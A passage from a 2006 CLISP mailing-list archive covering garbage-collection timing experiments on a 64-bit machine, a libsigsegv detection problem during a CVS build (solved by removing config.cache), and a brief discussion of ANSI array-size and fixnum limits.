16771626 ... I attempt to save space and cognitive effort by replacing the output as illustrated above with a more concise table below. real run gc gc time MB used MB left .0056 0.008 2 0.008 64 0 1.865 0.508 2 0.508 125 15 3.227 0.472 2 0.472 186 31 2.029 0.32 2 0.32 247 46 2.095 0.384 1 0.384 308 0 .0058 0.004 1 0.004 369 0 10.97 0.552 1 0.552 430 0 15.84 1.312 1 1.296 491 46 .1198 0.008 1 0.008 552 46 3.088 0.592 1 0.592 613 46 20.88 1.32 1 1.316 674 92 .0001 0.0 0 0.0 735 31 9.566 0.656 1 0.656 796 92 .0001 0.0 0 0.0 857 31 18.17 1.476 1 1.476 918 92 .0001 0.0 0 0.0 979 31 46.52 2.248 1 2.248 1040 183 .1286 0.0 0 0.0 1101 122 .0001 0.0 0 0.0 1162 61 .0001 0.0 0 0.0 1223 0 31.43 1.48 1 1.48 1284 183 .0001 0.0 0 0.0 1345 122 .0001 0.0 0 0.0 1406 61 .0001 0.0 0 0.0 1467 0 27.53 2.716 1 2.712 1528 183 .0001 0.0 0 0.0 1589 122 .0001 0.0 0 0.0 1650 61 .0001 0.0 0 0.0 1711 0 235.3 5.216 1 5.216 1772 366 .0001 0.0 0 0.0 1834 305 .0001 0.0 0 0.0 1895 244 .0001 0.0 0 0.0 1956 183 .0001 0.0 0 0.0 2017 122 .0001 0.0 0 0.0 2078 61 .0001 0.0 0 0.0 2139 0 72.81 2.928 1 2.928 2200 366 .0001 0.0 0 0.0 2261 305 .0001 0.0 0 0.0 2322 244 .0001 0.0 0 0.0 2383 183 .0001 0.0 0 0.0 2444 122 .0001 0.0 0 0.0 2505 61 .0001 0.0 0 0.0 2566 0 32.62 3.524 1 3.524 2627 366 .0001 0.0 0 0.0 2688 305 .0001 0.0 0 0.0 2749 244 .0001 0.0 0 0.0 2810 183 .0001 0.0 0 0.0 2871 122 .0001 0.0 0 0.0 2932 61 .0001 0.0 0 0.0 2993 0 230.5 16.98 1 16.98 3054 687 .0001 0.0 0 0.0 3115 626 .0001 0.0 0 0.0 3176 565 .0001 0.0 0 0.0 3237 504 .0001 0.0 0 0.0 3298 443 .0001 0.0 0 0.0 3359 382 .0001 0.0 0 0.0 3420 321 .0001 0.0 0 0.0 3482 260 .0001 0.0 0 0.0 3543 199 .0001 0.0 0 0.0 3604 137 .0001 0.0 0 0.0 3665 76 .0001 0.0 0 0.0 3726 15 49.01 7.208 1 7.208 3787 687 .0207 0.0 0 0.0 3848 626 .0001 0.0 0 0.0 3909 565 .0001 0.0 0 0.0 3970 504 .0001 0.0 0 0.0 4031 443 .0001 0.0 0 0.0 4092 382 At this point we hit a bug. Run time: 0.0 sec. Space: 64001776 Bytes Bytes permanently allocated: 159712 Bytes currently in use: 4291152312 Bytes available until next GC: 400722650 *** - SYSTEM::DELTA4: negative difference: [255 13651352] > [3 10544264] The following restarts are available: ABORT :R1 ABORT Break 1 [5]> where <1> # EVAL frame for form (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 #:G3624 #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630) Break 1 [5]> up <1> # EVAL frame for form (UNWIND-PROTECT (LENGTH (PUSH (MAKE-STRING 64000000) S)) (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 #:G3624 #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630)) Break 1 [5]> return Values: nil Bytes permanently allocated: 159712 Bytes currently in use: 4355591872 ... and now the rest of the data summarized real run gc gc time MB used MB left .0001 0.0 0 0.0 4214 259 .0001 0.0 0 0.0 4275 198 .0001 0.0 0 0.0 4336 137 .0008 0.0 0 0.0 4397 76 .0001 0.0 0 0.0 4459 15 47.6 10.1 1 10.07 4519 687 .0001 0.0 0 0.0 4580 626 .0001 0.0 0 0.0 4641 565 .0001 0.0 0 0.0 4702 504 .0001 0.0 0 0.0 4763 443 .0001 0.0 0 0.0 4824 382 .0001 0.0 0 0.0 4885 321 .0001 0.0 0 0.0 4946 260 .0001 0.0 0 0.0 5007 199 .0001 0.0 0 0.0 5068 137 .0001 0.0 0 0.0 5130 76 .0001 0.0 0 0.0 5191 15 2139. 83.69 1 83.69 5251 1236 .1932 0.0 0 0.0 5313 1175 .0001 0.0 0 0.0 5374 1114 .0001 0.0 0 0.0 5435 1053 .0001 0.004 0 0.0 5496 992 .0001 0.0 0 0.0 5557 931 .0001 0.0 0 0.0 5618 870 .0001 0.0 0 0.0 5679 809 .0001 0.0 0 0.0 5740 748 .0001 0.0 0 0.0 5801 687 .0001 0.0 0 0.0 5862 626 .0001 0.0 0 0.0 5923 565 .0001 0.0 0 0.0 5984 504 .0001 0.0 0 0.0 6045 443 .0001 0.0 0 0.0 6106 382 .0001 0.0 0 0.0 6167 321 .0001 0.0 0 0.0 6228 259 .0001 0.0 0 0.0 6289 198 .0001 0.0 0 0.0 6350 137 .0001 0.0 0 0.0 6411 76 .0001 0.0 0 0.0 6472 15 152.1 26.31 1 26.31 6533 1236 .0338 0.0 0 0.0 6594 1175 .0001 0.0 0 0.0 6655 1114 .0001 0.0 0 0.0 6716 1053 .0001 0.0 0 0.0 6777 992 .0001 0.0 0 0.0 6838 931 .0001 0.0 0 0.0 6899 870 .0001 0.0 0 0.0 6961 809 .0001 0.0 0 0.0 7022 748 .0001 0.0 0 0.0 7083 687 .0001 0.0 0 0.0 7144 626 .0001 0.0 0 0.0 7205 565 .0001 0.0 0 0.0 7266 504 .0001 0.0 0 0.0 7327 443 .0001 0.0 0 0.0 7388 382 .0001 0.0 0 0.0 7449 321 .0001 0.0 0 0.0 7510 259 .0001 0.0 0 0.0 7571 198 .0001 0.0 0 0.0 7632 137 .0001 0.0 0 0.0 7693 76 .0001 0.0 0 0.0 7754 15 [Here we run out of space.] The result is in some respects what I expected. If there's enough space available then the allocation takes almost no time. Otherwise there's a gc and more space is allocated. Since the non-gc cases are relatively uninteresting, I collect below the gc cases. real run gc gc time MB used MB left notes .0056 0.008 2 0.008 64 0 ==== 1.865 0.508 2 0.508 125 15 2 gc's 3.227 0.472 2 0.472 186 31 2.029 0.32 2 0.32 247 46 ==== 2.095 0.384 1 0.384 308 0 VM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] trouble seeing libsigsegv on AMD Athlon 64 Fedora Core 4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 27 17:58:02 2006 X-Original-Date: Mon, 27 Feb 2006 17:57:34 -0800 I previously wrote: I find myself for the first time in possession of a 64 bit machine ... I got clisp in that case by doing yum install clisp which reported Installing: clisp x86_64 2.38-1.fc4 extras 5.2 M Installing for dependencies: libsigsegv x86_64 2.2-1.fc4 extras 13 k postgresql-libs x86_64 8.0.7-1.FC4.1 updates-released 180 k I now want to build from cvs in order to try to fix socket-server and socket-status problems earlier noted. As you'll see below, it can't find libsigsegv. Any advice will be appreciated. # cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp ... [seems to work] # cd clisp # time ./configure --with-module=rawsock --build build-dir ... gcc -g -O2 -x none minitests.o -o minitests ./.libs/libcallback.a ./minitests > minitests.out LC_ALL=C uniq -u < minitests.out > minitests.output.x86_64-unknown-linux-gnu test '!' -s minitests.output.x86_64-unknown-linux-gnu Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-module=rawsock --build build-dir real 1m6.525s user 0m26.122s sys 0m25.046s # yum install libsigsegv ... Nothing to do Next guess: # yum install libsigsegv-devel ... Installing: libsigsegv-devel x86_64 2.2-1.fc4 extras 7.4 k ... Installed: libsigsegv-devel.x86_64 0:2.2-1.fc4 Complete! # time ./configure --with-module=rawsock --build build-dir ... and again Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-module=rawsock --build build-dir real 0m24.500s user 0m7.276s sys 0m13.281s so now I try doing as I've been told: # mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu # wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz ... 17:08:03 (456.80 KB/s) - `libsigsegv-2.2.tar.gz' saved [361450/361450] # tar xfz libsigsegv-2.2.tar.gz # cd libsigsegv-2.2 # ./configure --prefix=${prefix} && make && make check && make install ... # cd ../.. # ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir executing /root/clisp/build-dir/configure --srcdir=../src --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --cache-file=config.cache ... ./minitests > minitests.out LC_ALL=C uniq -u < minitests.out > minitests.output.x86_64-unknown-linux-gnu test '!' -s minitests.output.x86_64-unknown-linux-gnu Configure findings: FFI: yes (user requested: default) readline: yes (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --build build-dir If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-libsigsegv-prefix=/root/clisp/tools/x86_64-unknown-linux-gnu --with-module=rawsock --build build-dir # updatedb # locate libsigseg /var/cache/yum/extras/headers/libsigsegv-2.2-1.fc4.x86_64.hdr /var/cache/yum/extras/headers/libsigsegv-devel-2.2-1.fc4.x86_64.hdr /var/cache/yum/extras/packages/libsigsegv-2.2-1.fc4.x86_64.rpm /var/cache/yum/extras/packages/libsigsegv-devel-2.2-1.fc4.x86_64.rpm /usr/share/doc/libsigsegv-2.2 /usr/share/doc/libsigsegv-2.2/README /usr/share/doc/libsigsegv-2.2/AUTHORS /usr/share/doc/libsigsegv-2.2/ChangeLog /usr/share/doc/libsigsegv-2.2/NEWS /usr/lib64/libsigsegv.so.0 /usr/lib64/libsigsegv.so /usr/lib64/libsigsegv.so.0.0.0 /usr/lib64/libsigsegv.a /root/clisp/tools/libsigsegv-2.2 /root/clisp/tools/libsigsegv-2.2/config.h.in /root/clisp/tools/libsigsegv-2.2/m4 /root/clisp/tools/libsigsegv-2.2/m4/mmap-anon.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-siglongjmp.m4 /root/clisp/tools/libsigsegv-2.2/m4/libtool.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack.m4 /root/clisp/tools/libsigsegv-2.2/m4/relocatable.m4 /root/clisp/tools/libsigsegv-2.2/m4/fault.m4 /root/clisp/tools/libsigsegv-2.2/m4/sigaltstack-longjmp.m4 /root/clisp/tools/libsigsegv-2.2/m4/getpagesize.m4 /root/clisp/tools/libsigsegv-2.2/m4/bold.m4 /root/clisp/tools/libsigsegv-2.2/src /root/clisp/tools/libsigsegv-2.2/src/signals.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin5-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-beos-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-bsd.h /root/clisp/tools/libsigsegv-2.2/src/fault-hpux-hppa.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h /root/clisp/tools/libsigsegv-2.2/src/signals-macos.h /root/clisp/tools/libsigsegv-2.2/src/dispatcher.c /root/clisp/tools/libsigsegv-2.2/src/stackvma-procfs.c /root/clisp/tools/libsigsegv-2.2/src/fault-irix.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-i386-old.h /root/clisp/tools/libsigsegv-2.2/src/stackvma-none.c /root/clisp/tools/libsigsegv-2.2/src/fault-beos.h /root/clisp/tools/libsigsegv-2.2/src/fault.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h.msvc /root/clisp/tools/libsigsegv-2.2/src/stackvma.h /root/clisp/tools/libsigsegv-2.2/src/fault-posix.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-sh.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin7-powerpc.c /root/clisp/tools/libsigsegv-2.2/src/fault-openbsd-i386.h /root/clisp/tools/libsigsegv-2.2/src/stackvma.c /root/clisp/tools/libsigsegv-2.2/src/handler.o /root/clisp/tools/libsigsegv-2.2/src/fault-hurd.h /root/clisp/tools/libsigsegv-2.2/src/fault-macos-i386.h /root/clisp/tools/libsigsegv-2.2/src/leave-none.c /root/clisp/tools/libsigsegv-2.2/src/handler-win32.c /root/clisp/tools/libsigsegv-2.2/src/handler.lo /root/clisp/tools/libsigsegv-2.2/src/libsigsegv.la /root/clisp/tools/libsigsegv-2.2/src/fault-aix3.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-s390.h /root/clisp/tools/libsigsegv-2.2/src/leave.h /root/clisp/tools/libsigsegv-2.2/src/leave-sigaltstack.c /root/clisp/tools/libsigsegv-2.2/src/stackvma-linux.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-arm.h /root/clisp/tools/libsigsegv-2.2/src/signals-bsd.h /root/clisp/tools/libsigsegv-2.2/src/.libs /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.lai /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.la /root/clisp/tools/libsigsegv-2.2/src/.libs/libsigsegv.a /root/clisp/tools/libsigsegv-2.2/src/stackvma-freebsd.c /root/clisp/tools/libsigsegv-2.2/src/dispatcher.o /root/clisp/tools/libsigsegv-2.2/src/handler-unix.c /root/clisp/tools/libsigsegv-2.2/src/fault-solaris-sparc.h /root/clisp/tools/libsigsegv-2.2/src/signals-hpux.h /root/clisp/tools/libsigsegv-2.2/src/machfault-macos-i386.h /root/clisp/tools/libsigsegv-2.2/src/version.lo /root/clisp/tools/libsigsegv-2.2/src/Makefile.in /root/clisp/tools/libsigsegv-2.2/src/fault-linux-x86_64.h /root/clisp/tools/libsigsegv-2.2/src/fault-aix5.h /root/clisp/tools/libsigsegv-2.2/src/leave-setcontext.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-ia64.h /root/clisp/tools/libsigsegv-2.2/src/stackvma-mach.c /root/clisp/tools/libsigsegv-2.2/src/fault-aix5-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/sigsegv.h.in /root/clisp/tools/libsigsegv-2.2/src/fault-solaris.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-m68k.h /root/clisp/tools/libsigsegv-2.2/src/handler-none.c /root/clisp/tools/libsigsegv-2.2/src/stackvma.o /root/clisp/tools/libsigsegv-2.2/src/machfault-macos-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-sparc.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-alpha.h /root/clisp/tools/libsigsegv-2.2/src/version.o /root/clisp/tools/libsigsegv-2.2/src/fault-linux-i386.h /root/clisp/tools/libsigsegv-2.2/src/dispatcher.lo /root/clisp/tools/libsigsegv-2.2/src/Makefile.am /root/clisp/tools/libsigsegv-2.2/src/fault-netbsd-alpha.h /root/clisp/tools/libsigsegv-2.2/src/machfault.h /root/clisp/tools/libsigsegv-2.2/src/stackvma.lo /root/clisp/tools/libsigsegv-2.2/src/handler-macos.c /root/clisp/tools/libsigsegv-2.2/src/fault-openbsd.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-m68k.c /root/clisp/tools/libsigsegv-2.2/src/fault-freebsd-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-netbsd-alpha.c /root/clisp/tools/libsigsegv-2.2/src/version.c /root/clisp/tools/libsigsegv-2.2/src/handler.c /root/clisp/tools/libsigsegv-2.2/src/fault-none.h /root/clisp/tools/libsigsegv-2.2/src/fault-osf-alpha.h /root/clisp/tools/libsigsegv-2.2/src/fault-aix3-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/leave.c /root/clisp/tools/libsigsegv-2.2/src/leave.lo /root/clisp/tools/libsigsegv-2.2/src/fault-irix-mips.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux.h /root/clisp/tools/libsigsegv-2.2/src/signals-hurd.h /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin7-powerpc.h /root/clisp/tools/libsigsegv-2.2/src/leave-nop.c /root/clisp/tools/libsigsegv-2.2/src/fault-solaris-i386.h /root/clisp/tools/libsigsegv-2.2/src/fault-osf.h /root/clisp/tools/libsigsegv-2.2/src/Makefile /root/clisp/tools/libsigsegv-2.2/src/fault-macosdarwin5-powerpc.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-hppa.h /root/clisp/tools/libsigsegv-2.2/src/leave.o /root/clisp/tools/libsigsegv-2.2/src/stackvma-beos.c /root/clisp/tools/libsigsegv-2.2/src/fault-linux-mips.h /root/clisp/tools/libsigsegv-2.2/src/fault-linux-cris.h /root/clisp/tools/libsigsegv-2.2/src/fault-hpux.h /root/clisp/tools/libsigsegv-2.2/configure /root/clisp/tools/libsigsegv-2.2/COPYING /root/clisp/tools/libsigsegv-2.2/PORTING /root/clisp/tools/libsigsegv-2.2/config.status /root/clisp/tools/libsigsegv-2.2/README.woe32 /root/clisp/tools/libsigsegv-2.2/termbold /root/clisp/tools/libsigsegv-2.2/stamp-h1 /root/clisp/tools/libsigsegv-2.2/README /root/clisp/tools/libsigsegv-2.2/libtool /root/clisp/tools/libsigsegv-2.2/termnorm /root/clisp/tools/libsigsegv-2.2/Makefile.in /root/clisp/tools/libsigsegv-2.2/configure.in /root/clisp/tools/libsigsegv-2.2/config.log /root/clisp/tools/libsigsegv-2.2/AUTHORS /root/clisp/tools/libsigsegv-2.2/autoconf /root/clisp/tools/libsigsegv-2.2/autoconf/install-sh /root/clisp/tools/libsigsegv-2.2/autoconf/config.sub /root/clisp/tools/libsigsegv-2.2/autoconf/config.guess /root/clisp/tools/libsigsegv-2.2/autoconf/missing /root/clisp/tools/libsigsegv-2.2/autoconf/ltmain.sh /root/clisp/tools/libsigsegv-2.2/Makefile.am /root/clisp/tools/libsigsegv-2.2/INSTALL /root/clisp/tools/libsigsegv-2.2/ChangeLog /root/clisp/tools/libsigsegv-2.2/aclocal.m4 /root/clisp/tools/libsigsegv-2.2/config.h /root/clisp/tools/libsigsegv-2.2/tests /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2.c /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1.o /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2.o /root/clisp/tools/libsigsegv-2.2/tests/mmaputil.h /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow2 /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1 /root/clisp/tools/libsigsegv-2.2/tests/.libs /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1.c /root/clisp/tools/libsigsegv-2.2/tests/Makefile.in /root/clisp/tools/libsigsegv-2.2/tests/stackoverflow1 /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2 /root/clisp/tools/libsigsegv-2.2/tests/Makefile.am /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1.o /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2.c /root/clisp/tools/libsigsegv-2.2/tests/Makefile /root/clisp/tools/libsigsegv-2.2/tests/sigsegv2.o /root/clisp/tools/libsigsegv-2.2/tests/sigsegv1.c /root/clisp/tools/libsigsegv-2.2/config.h.msvc /root/clisp/tools/libsigsegv-2.2/Makefile /root/clisp/tools/libsigsegv-2.2/NEWS /root/clisp/tools/libsigsegv-2.2/Makefile.msvc /root/clisp/tools/libsigsegv-2.2/ChangeLog.1 /root/clisp/tools/x86_64-unknown-linux-gnu/lib/libsigsegv.la /root/clisp/tools/x86_64-unknown-linux-gnu/lib/libsigsegv.a /root/clisp/tools/libsigsegv-2.2.tar.gz From don-sourceforge-xx@isis.cs3-inc.com Mon Feb 27 18:18:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDuRc-0000iY-P8 for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 18:18:32 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FDuRb-0007Kr-HU for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 18:18:32 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id D6DD61A81CC; Mon, 27 Feb 2006 18:18:41 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: <17411.45825.820879.444433@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] trouble seeing libsigsegv - solution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 27 18:19:03 2006 X-Original-Date: Mon, 27 Feb 2006 18:18:41 -0800 I still don't understand why the already installed libsigsegv was not sufficient, but I find the problem in the last attempt is that it uses a file named config.cache. When I rename it things work much better. So perhaps that ought to be incorporated into this advice. Please do this: mkdir tools; cd tools; prefix=`pwd`/x86_64-unknown-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-module=rawsock --build build-dir From s11@member.fsf.org Mon Feb 27 22:54:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDyl8-0002HL-2B for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 22:54:58 -0800 Received: from sccimhc91.asp.att.net ([63.240.76.165]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FDyl7-0005qB-0X for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 22:54:58 -0800 Received: from [192.168.10.2] (12-222-181-59.client.insightbb.com[12.222.181.59]) by sccimhc91.asp.att.net (sccimhc91) with SMTP id <20060228065449i9100ftnmke>; Tue, 28 Feb 2006 06:54:50 +0000 Subject: Re: [clisp-list] experiments with 64 bit machine - GC and paging From: Stephen Compall To: Don Cohen Cc: clisp-list@lists.sourceforge.net In-Reply-To: <17411.27804.607919.706828@isis.cs3-inc.com> References: <17411.27804.607919.706828@isis.cs3-inc.com> Content-Type: text/plain Message-Id: <1141109689.20305.8.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3-10mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 27 22:55:04 2006 X-Original-Date: Tue, 28 Feb 2006 00:54:49 -0600 On Mon, 2006-02-27 at 13:18 -0800, Don Cohen wrote: > (Aside - I prefer to think of lisp as not imposing such artificial > limits. Wouldn't it be more reasonable to allow any variable size > datum to be as large as the largest chunk of VM the OS is willing to > allocate?) Unfortunately, this issue is made a little more difficult by ANSI. Read http://www.lisp.org/HyperSpec/Issues/iss014-writeup.html (ARRAY-DIMENSION-LIMIT-IMPLICATIONS) for details; suffice to say, array-total-size-limit et al must be fixnums. I remember someone saying on clisp-list (or maybe c.l.lisp) a while ago (sorry, can't find the particular message) that lots of places in clisp code depend on fixnums fitting into 24 bits, and changing that would be a lot of work. -- Stephen Compall http://scompall.nocandysw.com/blog From don-sourceforge-xx@isis.cs3-inc.com Mon Feb 27 23:39:10 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDzRu-0006jT-5M for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 23:39:10 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FDzRs-00066x-V8 for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 23:39:10 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 29C161A81CC; Mon, 27 Feb 2006 23:39:19 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17411.65063.113809.986218@isis.cs3-inc.com> To: Stephen Compall Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] experiments with 64 bit machine - GC and paging In-Reply-To: <1141109689.20305.8.camel@nocandy.dyndns.org> References: <17411.27804.607919.706828@isis.cs3-inc.com> <1141109689.20305.8.camel@nocandy.dyndns.org> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 27 23:40:01 2006 X-Original-Date: Mon, 27 Feb 2006 23:39:19 -0800 Stephen Compall writes: > On Mon, 2006-02-27 at 13:18 -0800, Don Cohen wrote: > > (Aside - I prefer to think of lisp as not imposing such artificial > > limits. Wouldn't it be more reasonable to allow any variable size > > datum to be as large as the largest chunk of VM the OS is willing to > > allocate?) > > Unfortunately, this issue is made a little more difficult by ANSI. Read > http://www.lisp.org/HyperSpec/Issues/iss014-writeup.html > (ARRAY-DIMENSION-LIMIT-IMPLICATIONS) for details; suffice to say, > array-total-size-limit et al must be fixnums. Yes, I noticed that. Seems unreasonable to me. (My ideas of what lisp is or should be actually predate common lisp.) But I notice that fixnums on AMD 64 are 48 bits, which conveniently is also the max size VM the machine supports. From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 28 06:04:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FE5TD-00055b-8M for clisp-list@lists.sourceforge.net; Tue, 28 